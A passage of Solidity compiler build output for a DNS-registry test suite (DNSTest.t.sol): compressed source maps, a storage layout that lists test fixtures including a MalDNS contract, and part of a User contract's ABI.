;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2320:5;2326:1;2320:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2340:4;;;;;;;;;;;:9;;;2350:2;2340:13;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2380:5;2386:1;2380:8;;;;;;;;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2421:5;2427:1;2421:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2483:4;;;;;;;;;;;:9;;;2493:2;2483:13;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2500:37;2512:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2511:25;2500:10;:37::i;:::-;2542:7;2553;2608;;;;;;;;;;;:21;;;2638:5;2644:1;2638:8;;;;;;;;;;;;;;;;;;2608:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2597:51;;;;;;;;2652:14;2663:2;2652:10;:14::i;:::-;2670:38;2687:2;2700:6;;;;;;;;;;;2670:8;:38::i;:::-;2783:7;;;;;;;;;;;:21;;;2813:5;2819:1;2813:8;;;;;;;;;;;;;;;;;;2783:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2772:51;;;;;;;;2827:15;2839:2;2838:3;2827:10;:15::i;:::-;2930:7;;;;;;;;;;;:21;;;2960:5;2966:1;2960:8;;;;;;;;;;;;;;;;;;2930:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2919:51;;;;;;;;2974:15;2986:2;2985:3;2974:10;:15::i;:::-;3031:7;;;;;;;;;;;:21;;;3061:5;3067:1;3061:8;;;;;;;;;;;;;;;;;;3031:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3020:51;;;;;;;;3075:14;3086:2;3075:10;:14::i;:::-;3094:16;:26;;;;;;;;;;;;;;;;;;;3124:9;3136:10;3124:22;;;;3150:16;:26;;;;;;;;;;;;;;;;;;;3180:9;3192:10;3180:22;;;;3352:5;3358:1;3352:8;;;;;;;;;;;;;;;;;;:17;;;3370:2;3374;3352:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3442:3;;;;;;;;;;;:11;;;3454:2;3442:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3428:29;;;;;;;;3461:15;3470:2;3461:15;;;3474:1;3461:15;;:8;:15::i;:::-;3480:27;3489:5;3504:1;3480:8;:27::i;:::-;3562:6;;;;;;;;;;;:14;;;3577:2;3562:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3548:32;;;;;;;;3584:16;3593:2;3584:16;;;3597:2;3584:16;;;:8;:16::i;:::-;3604:34;3613:5;3628;3634:1;3628:8;;;;;;;;;;;;;;;;;;3604;:34::i;:::-;3708:5;3714:1;3708:8;;;;;;;;;;;;;;;;;;:16;;;3725:2;3708:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3694:34;;;;;;;;3732:16;3741:2;3732:16;;;3745:2;3732:16;;;:8;:16::i;:::-;3752:34;3761:5;3776;3782:1;3776:8;;;;;;;;;;;;;;;;;;3752;:34::i;:::-;3843:5;3849:1;3843:8;;;;;;;;;;;;;;;;;;:17;;;3861:2;3865;3843:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3933:3;;;;;;;;;;;:11;;;3945:2;3933:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3919:29;;;;;;;;3952:15;3961:2;3952:15;;;3965:1;3952:15;;:8;:15::i;:::-;3971:27;3980:5;3995:1;3971:8;:27::i;:::-;4053:6;;;;;;;;;;;:14;;;4068:2;4053:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4039:32;;;;;;;;4075:16;4084:2;4075:16;;;4088:2;4075:16;;;:8;:16::i;:::-;4095:34;4104:5;4119;4125:1;4119:8;;;;;;;;;;;;;;;;;;4095;:34::i;:::-;4199:5;4205:1;4199:8;;;;;;;;;;;;;;;;;;:16;;;4216:2;4199:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4185:34;;;;;;;;4223:16;4232:2;4223:16;;;4236:2;4223:16;;;:8;:16::i;:::-;4243:34;4252:5;4267;4273:1;4267:8;;;;;;;;;;;;;;;;;;4243;:34::i;:::-;4334:5;4340:1;4334:8;;;;;;;;;;;;;;;;;;:17;;;4352:2;4356;4334:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4414:3;;;;;;;;;;;:11;;;4426:2;4414:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4400:29;;;;;;;;4433:16;4442:2;4433:16;;;4446:2;4433:16;;;:8;:16::i;:::-;4453:34;4462:5;4477;4483:1;4477:8;;;;;;;;;;;;;;;;;;4453;:34::i;:::-;4527:5;4533:1;4527:8;;;;;;;;;;;;;;;;;;:16;;;4544:2;4527:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4513:34;;;;;;;;4551:16;4560:2;4551:16;;;4564:2;4551:16;;;:8;:16::i;:::-;4571:34;4580:5;4595;4601:1;4595:8;;;;;;;;;;;;;;;;;;4571;:34::i;:::-;4688:6;;;;;;;;;;;:14;;;4703:2;4688:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4674:32;;;;;;;;4710:16;4719:2;4710:16;;;4723:2;4710:16;;;:8;:16::i;:::-;4730:34;4739:5;4754;4760:1;4754:8;;;;;;;;;;;;;;;;;;4730;:34::i;:::-;4819:11;4833:10;4819:24;;;;4847:5;4853:1;4847:8;;;;;;;;;;;;;;;;;;:15;;;4863:2;4867:4;4847:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4950:5;4956:1;4950:8;;;;;;;;;;;;;;;;;;:16;;;4967:2;4950:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4936:34;;;;;;;;4974:18;4983:2;4974:18;;;4987:4;4974:18;;;:8;:18::i;:::-;4996:34;5005:5;5020;5026:1;5020:8;;;;;;;;;;;;;;;;;;4996;:34::i;:::-;5140:5;5146:1;5140:8;;;;;;;;;;;;;;;;;;:27;;;5168:2;5172:10;5184:11;;;;;;;;;;;5140:56;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5136:100;;;;;5202:17;5213:5;5202:10;:17::i;:::-;5136:100;5292:5;5298:1;5292:8;;;;;;;;;;;;;;;;;;:17;;;5310:2;5314;5292:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5335:6;;;;;;;;;;;:14;;;5350:2;5335:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5321:32;;;;;;;;5357:16;5366:2;5357:16;;;5370:2;5357:16;;;:8;:16::i;:::-;5377:34;5386:5;5401;5407:1;5401:8;;;;;;;;;;;;;;;;;;5377;:34::i;:::-;5488:5;5494:1;5488:8;;;;;;;;;;;;;;;;;;:15;;;5504:2;5508:10;5488:31;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5484:75;;;;;5525:17;5536:5;5525:10;:17::i;:::-;5484:75;1647:3931;;;;;;;;;;;;;:::o;1352:18:0:-;;;;;;;;;;;;;:::o;1327:19::-;;;;;;;;;;;;:::o;1317:327:2:-;1354:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1347:4;;:22;;;;;;;;;;;;;;;;;;1384:13;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1374:7;;:23;;;;;;;;;;;;;;;;;;1415:7;;;;;;;;;;;1407:16;;;;;:::i;:::-;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1401:3;;:22;;;;;;;;;;;;;;;;;;1452:3;;;;;;;;;;;1457:7;;;;;;;;;;;1436:29;;;;;:::i;:::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1427:6;;:38;;;;;;;;;;;;;;;;;;1499:3;;;;;;;;;;;1504:7;;;;;;;;;;;1483:29;;;;;:::i;:::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1469:11;;:43;;;;;;;;;;;;;;;;;;1537:10;1549:3;;;;;;;;;;;1554:7;;;;;;;;;;;1526:36;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1516:7;;:46;;;;;;;;;;;;;;;;;;1572:6;1567:73;1246:1;1584;:13;1567:73;;;1627:3;;;;;;;;;;;1632:7;;;;;;;;;;;1618:22;;;;;:::i;:::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1607:5;1613:1;1607:8;;;;;;;;;:33;;;;;;;;;;;;;;;;;;1599:3;;;;;1567:73;;;;1317:327::o;2297:276:0:-;2365:1;2360;:6;2356:211;;2387:43;;;;;;;;;;;;;;;;;;;;2449:34;2481:1;2449:34;;;;;;;;;;;;;;;;;;;;;;;;;2502;2534:1;2502:34;;;;;;;;;;;;;;;;;;;;;;;;;2550:6;:4;:6::i;:::-;2356:211;2297:276;;:::o;1927:::-;1995:1;1990:6;;:1;:6;;;1986:211;;2017:43;;;;;;;;;;;;;;;;;;;;2079:34;2111:1;2079:34;;;;;;;;;;;;;;;;;;;;;;;;;;;2132;2164:1;2132:34;;;;;;;;;;;;;;;;;;;;;;;;;;;2180:6;:4;:6::i;:::-;1986:211;1927:276;;:::o;1763:158::-;1823:9;1818:97;;1853:31;;;;;;;;;;;;;;;;;;;;1898:6;:4;:6::i;:::-;1818:97;1763:158;:::o;1428:55::-;1472:4;1463:6;;:13;;;;;;;;;;;;;;;;;;1428:55::o;-1:-1:-1:-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;7:143:8:-;;95:6;89:13;80:22;;111:33;138:5;111:33;:::i;:::-;70:80;;;;:::o;156:137::-;;241:6;235:13;226:22;;257:30;281:5;257:30;:::i;:::-;216:77;;;;:::o;299:141::-;;386:6;380:13;371:22;;402:32;428:5;402:32;:::i;:::-;361:79;;;;:::o;446:169::-;;547:6;541:13;532:22;;563:46;603:5;563:46;:::i;:::-;522:93;;;;:::o;621:276::-;;737:2;725:9;716:7;712:23;708:32;705:2;;;753:1;750;743:12;705:2;795:1;819:61;872:7;863:6;852:9;848:22;819:61;:::i;:::-;809:71;;767:123;695:202;;;;:::o;903:456::-;;;1049:2;1037:9;1028:7;1024:23;1020:32;1017:2;;;1065:1;1062;1055:12;1017:2;1107:1;1131:61;1184:7;1175:6;1164:9;1160:22;1131:61;:::i;:::-;1121:71;;1079:123;1240:2;1265:77;1334:7;1325:6;1314:9;1310:22;1265:77;:::i;:::-;1255:87;;1212:140;1007:352;;;;;:::o;1365:434::-;;;1500:2;1488:9;1479:7;1475:23;1471:32;1468:2;;;1516:1;1513;1506:12;1468:2;1558:1;1582:63;1637:7;1628:6;1617:9;1613:22;1582:63;:::i;:::-;1572:73;;1530:125;1693:2;1718:64;1774:7;1765:6;1754:9;1750:22;1718:64;:::i;:::-;1708:74;;1665:127;1458:341;;;;;:::o;1805:118::-;1892:24;1910:5;1892:24;:::i;:::-;1887:3;1880:37;1870:53;;:::o;1929:109::-;2010:21;2025:5;2010:21;:::i;:::-;2005:3;1998:34;1988:50;;:::o;2044:115::-;2129:23;2146:5;2129:23;:::i;:::-;2124:3;2117:36;2107:52;;:::o;2165:153::-;2263:48;2305:5;2263:48;:::i;:::-;2258:3;2251:61;2241:77;;:::o;2324:157::-;2424:50;2468:5;2424:50;:::i;:::-;2419:3;2412:63;2402:79;;:::o;2487:163::-;2590:53;2637:5;2590:53;:::i;:::-;2585:3;2578:66;2568:82;;:::o;2656:171::-;2763:57;2814:5;2763:57;:::i;:::-;2758:3;2751:70;2741:86;;:::o;2833:151::-;2930:47;2971:5;2930:47;:::i;:::-;2925:3;2918:60;2908:76;;:::o;2990:149::-;3086:46;3126:5;3086:46;:::i;:::-;3081:3;3074:59;3064:75;;:::o;3145:163::-;3248:53;3295:5;3248:53;:::i;:::-;3243:3;3236:66;3226:82;;:::o;3314:161::-;3416:52;3462:5;3416:52;:::i;:::-;3411:3;3404:65;3394:81;;:::o;3481:163::-;3584:53;3631:5;3584:53;:::i;:::-;3579:3;3572:66;3562:82;;:::o;3650:163::-;3753:53;3800:5;3753:53;:::i;:::-;3748:3;3741:66;3731:82;;:::o;3819:149::-;3915:46;3955:5;3915:46;:::i;:::-;3910:3;3903:59;3893:75;;:::o;3974:364::-;;4090:39;4123:5;4090:39;:::i;:::-;4145:71;4209:6;4204:3;4145:71;:::i;:::-;4138:78;;4225:52;4270:6;4265:3;4258:4;4251:5;4247:16;4225:52;:::i;:::-;4302:29;4324:6;4302:29;:::i;:::-;4297:3;4293:39;4286:46;;4066:272;;;;;:::o;4344:118::-;4431:24;4449:5;4431:24;:::i;:::-;4426:3;4419:37;4409:53;;:::o;4468:222::-;;4599:2;4588:9;4584:18;4576:26;;4612:71;4680:1;4669:9;4665:17;4656:6;4612:71;:::i;:::-;4566:124;;;;:::o;4696:210::-;;4821:2;4810:9;4806:18;4798:26;;4834:65;4896:1;4885:9;4881:17;4872:6;4834:65;:::i;:::-;4788:118;;;;:::o;4912:386::-;;5098:2;5087:9;5083:18;5075:26;;5111:82;5190:1;5179:9;5175:17;5166:6;5111:82;:::i;:::-;5203:88;5287:2;5276:9;5272:18;5263:6;5203:88;:::i;:::-;5065:233;;;;;:::o;5304:254::-;;5451:2;5440:9;5436:18;5428:26;;5464:87;5548:1;5537:9;5533:17;5524:6;5464:87;:::i;:::-;5418:140;;;;:::o;5564:242::-;;5705:2;5694:9;5690:18;5682:26;;5718:81;5796:1;5785:9;5781:17;5772:6;5718:81;:::i;:::-;5672:134;;;;:::o;5812:240::-;;5952:2;5941:9;5937:18;5929:26;;5965:80;6042:1;6031:9;6027:17;6018:6;5965:80;:::i;:::-;5919:133;;;;:::o;6058:528::-;;6288:2;6277:9;6273:18;6265:26;;6301:87;6385:1;6374:9;6370:17;6361:6;6301:87;:::i;:::-;6398:83;6477:2;6466:9;6462:18;6453:6;6398:83;:::i;:::-;6491:88;6575:2;6564:9;6560:18;6551:6;6491:88;:::i;:::-;6255:331;;;;;;:::o;6592:240::-;;6732:2;6721:9;6717:18;6709:26;;6745:80;6822:1;6811:9;6807:17;6798:6;6745:80;:::i;:::-;6699:133;;;;:::o;6838:313::-;;6989:2;6978:9;6974:18;6966:26;;7038:9;7032:4;7028:20;7024:1;7013:9;7009:17;7002:47;7066:78;7139:4;7130:6;7066:78;:::i;:::-;7058:86;;6956:195;;;;:::o;7157:419::-;;7334:2;7323:9;7319:18;7311:26;;7383:9;7377:4;7373:20;7369:1;7358:9;7354:17;7347:47;7411:78;7484:4;7475:6;7411:78;:::i;:::-;7403:86;;7499:70;7565:2;7554:9;7550:18;7541:6;7499:70;:::i;:::-;7301:275;;;;;:::o;7582:455::-;;7777:2;7766:9;7762:18;7754:26;;7826:9;7820:4;7816:20;7812:1;7801:9;7797:17;7790:47;7854:78;7927:4;7918:6;7854:78;:::i;:::-;7846:86;;7942:88;8026:2;8015:9;8011:18;8002:6;7942:88;:::i;:::-;7744:293;;;;;:::o;8043:563::-;;8265:2;8254:9;8250:18;8242:26;;8314:9;8308:4;8304:20;8300:1;8289:9;8285:17;8278:47;8342:78;8415:4;8406:6;8342:78;:::i;:::-;8334:86;;8430:87;8513:2;8502:9;8498:18;8489:6;8430:87;:::i;:::-;8527:72;8595:2;8584:9;8580:18;8571:6;8527:72;:::i;:::-;8232:374;;;;;;:::o;8612:605::-;;8855:2;8844:9;8840:18;8832:26;;8904:9;8898:4;8894:20;8890:1;8879:9;8875:17;8868:47;8932:78;9005:4;8996:6;8932:78;:::i;:::-;8924:86;;9020:88;9104:2;9093:9;9089:18;9080:6;9020:88;:::i;:::-;9118:92;9206:2;9195:9;9191:18;9182:6;9118:92;:::i;:::-;8822:395;;;;;;:::o;9223:358::-;;9395:2;9384:9;9380:18;9372:26;;9408:71;9476:1;9465:9;9461:17;9452:6;9408:71;:::i;:::-;9489:85;9570:2;9559:9;9555:18;9546:6;9489:85;:::i;:::-;9362:219;;;;;:::o;9587:99::-;;9673:5;9667:12;9657:22;;9646:40;;;:::o;9692:169::-;;9810:6;9805:3;9798:19;9850:4;9845:3;9841:14;9826:29;;9788:73;;;;:::o;9867:96::-;;9933:24;9951:5;9933:24;:::i;:::-;9922:35;;9912:51;;;:::o;9969:90::-;;10046:5;10039:13;10032:21;10021:32;;10011:48;;;:::o;10065:149::-;;10141:66;10134:5;10130:78;10119:89;;10109:105;;;:::o;10220:109::-;;10299:24;10317:5;10299:24;:::i;:::-;10288:35;;10278:51;;;:::o;10335:94::-;;10418:5;10407:16;;10397:32;;;:::o;10435:93::-;;10517:5;10506:16;;10496:32;;;:::o;10534:94::-;;10617:5;10606:16;;10596:32;;;:::o;10634:94::-;;10717:5;10706:16;;10696:32;;;:::o;10734:126::-;;10811:42;10804:5;10800:54;10789:65;;10779:81;;;:::o;10866:77::-;;10932:5;10921:16;;10911:32;;;:::o;10949:148::-;;11043:48;11085:5;11043:48;:::i;:::-;11030:61;;11020:77;;;:::o;11103:124::-;;11197:24;11215:5;11197:24;:::i;:::-;11184:37;;11174:53;;;:::o;11233:152::-;;11329:50;11373:5;11329:50;:::i;:::-;11316:63;;11306:79;;;:::o;11391:126::-;;11487:24;11505:5;11487:24;:::i;:::-;11474:37;;11464:53;;;:::o;11523:158::-;;11622:53;11669:5;11622:53;:::i;:::-;11609:66;;11599:82;;;:::o;11687:129::-;;11786:24;11804:5;11786:24;:::i;:::-;11773:37;;11763:53;;;:::o;11822:166::-;;11925:57;11976:5;11925:57;:::i;:::-;11912:70;;11902:86;;;:::o;11994:133::-;;12097:24;12115:5;12097:24;:::i;:::-;12084:37;;12074:53;;;:::o;12133:123::-;;12226:24;12244:5;12226:24;:::i;:::-;12213:37;;12203:53;;;:::o;12262:122::-;;12354:24;12372:5;12354:24;:::i;:::-;12341:37;;12331:53;;;:::o;12390:162::-;;12489:57;12504:41;12539:5;12504:41;:::i;:::-;12489:57;:::i;:::-;12476:70;;12466:86;;;:::o;12558:160::-;;12656:56;12671:40;12705:5;12671:40;:::i;:::-;12656:56;:::i;:::-;12643:69;;12633:85;;;:::o;12724:162::-;;12823:57;12838:41;12873:5;12838:41;:::i;:::-;12823:57;:::i;:::-;12810:70;;12800:86;;;:::o;12892:162::-;;12991:57;13006:41;13041:5;13006:41;:::i;:::-;12991:57;:::i;:::-;12978:70;;12968:86;;;:::o;13060:122::-;;13152:24;13170:5;13152:24;:::i;:::-;13139:37;;13129:53;;;:::o;13188:307::-;13256:1;13266:113;13280:6;13277:1;13274:13;13266:113;;;13365:1;13360:3;13356:11;13350:18;13346:1;13341:3;13337:11;13330:39;13302:2;13299:1;13295:10;13290:15;;13266:113;;;13397:6;13394:1;13391:13;13388:2;;;13477:1;13468:6;13463:3;13459:16;13452:27;13388:2;13237:258;;;;:::o;13501:102::-;;13593:2;13589:7;13584:2;13577:5;13573:14;13569:28;13559:38;;13549:54;;;:::o;13609:96::-;;13692:5;13687:3;13683:15;13662:36;;13652:53;;;:::o;13711:122::-;13784:24;13802:5;13784:24;:::i;:::-;13777:5;13774:35;13764:2;;13823:1;13820;13813:12;13764:2;13754:79;:::o;13839:116::-;13909:21;13924:5;13909:21;:::i;:::-;13902:5;13899:32;13889:2;;13945:1;13942;13935:12;13889:2;13879:76;:::o;13961:120::-;14033:23;14050:5;14033:23;:::i;:::-;14026:5;14023:34;14013:2;;14071:1;14068;14061:12;14013:2;14003:78;:::o;14087:148::-;14173:37;14204:5;14173:37;:::i;:::-;14166:5;14163:48;14153:2;;14225:1;14222;14215:12;14153:2;14143:92;:::o\",\"storage-layout\":\"{\\\"storage\\\":[{\\\"astId\\\":2367,\\\"contract\\\":\\\"src/DNSTest.t.sol:DNSTest\\\",\\\"label\\\":\\\"IS_TEST\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_bool\\\"},{\\\"astId\\\":2369,\\\"contract\\\":\\\"src/DNSTest.t.sol:DNSTest\\\",\\\"label\\\":\\\"failed\\\",\\\"offset\\\":1,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_bool\\\"},{\\\"astId\\\":447,\\\"contract\\\":\\\"src/DNSTest.t.sol:DNSTest\\\",\\\"label\\\":\\\"hevm\\\",\\\"offset\\\":2,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_contract(HEVMCheat)1417\\\"},{\\\"astId\\\":449,\\\"contract\\\":\\\"src/DNSTest.t.sol:DNSTest\\\",\\\"label\\\":\\\"dns\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"1\\\",\\\"type\\\":\\\"t_contract(DNS)308\\\"},{\\\"astId\\\":451,\\\"contract\\\":\\\"src/DNSTest.t.sol:DNSTest\\\",\\\"label\\\":\\\"up_dns\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"2\\\",\\\"type\\\":\\\"t_contract(UpgradedDNS)2303\\\"},{\\\"astId\\\":453,\\\"contract\\\":\\\"src/DNSTest.t.sol:DNSTest\\\",\\\"label\\\":\\\"fake_up_dns\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"3\\\",\\\"type\\\":\\\"t_contract(UpgradedDNS)2303\\\"},{\\\"astId\\\":455,\\\"contract\\\":\\\"src/DNSTest.t.sol:DNSTest\\\",\\\"label\\\":\\\"mal_dns\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"4\\\",\\\"type\\\":\\\"t_contract(MalDNS)1723\\\"},{\\\"astId\\\":457,\\\"contract\\\":\\\"src/DNSTest.t.sol:DNSTest\\\",\\\"label\\\":\\\"upgrade\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"5\\\",\\\"type\\\":\\\"t_contract(Upgrade)2050\\\"},{\\\"astId\\\":464,\\\"contract\\\":\\\"src/DNSTest.t.sol:DNSTest\\\",\\\"label\\\":\\\"users\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"6\\\",\\\"type\\\":\\\"t_array(t_contract(User)443)4_storage\\\"}],\\\"types\\\":{\\\"t_array(t_contract(User)443)4_storage\\\":{\\\"base\\\":\\\"t_contract(User)443\\\",\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"contract User[4]\\\",\\\"numberOfBytes\\\":\\\"128\\\"},\\\"t_bool\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"bool\\\",\\\"numberOfBytes\\\":\\\"1\\\"},\\\"t_contract(DNS)308\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"contract DNS\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_contract(HEVMCheat)1417\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"contract HEVMCheat\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_contract(MalDNS)1723\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"contract MalDNS\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_contract(Upgrade)2050\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"contract Upgrade\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_contract(UpgradedDNS)2303\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"contract UpgradedDNS\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_contract(User)443\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"contract User\\\",\\\"numberOfBytes\\\":\\\"20\\\"}}}\"},\"src/DNSTest.t.sol:User\":{\"abi\":\"[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_dns\\\",\\\"type\\\":\\\"address\\\"},{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"_upgrade\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"constructor\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"optIn\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"optOut\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"register\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"resolve\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"transfer\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"update\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"contract 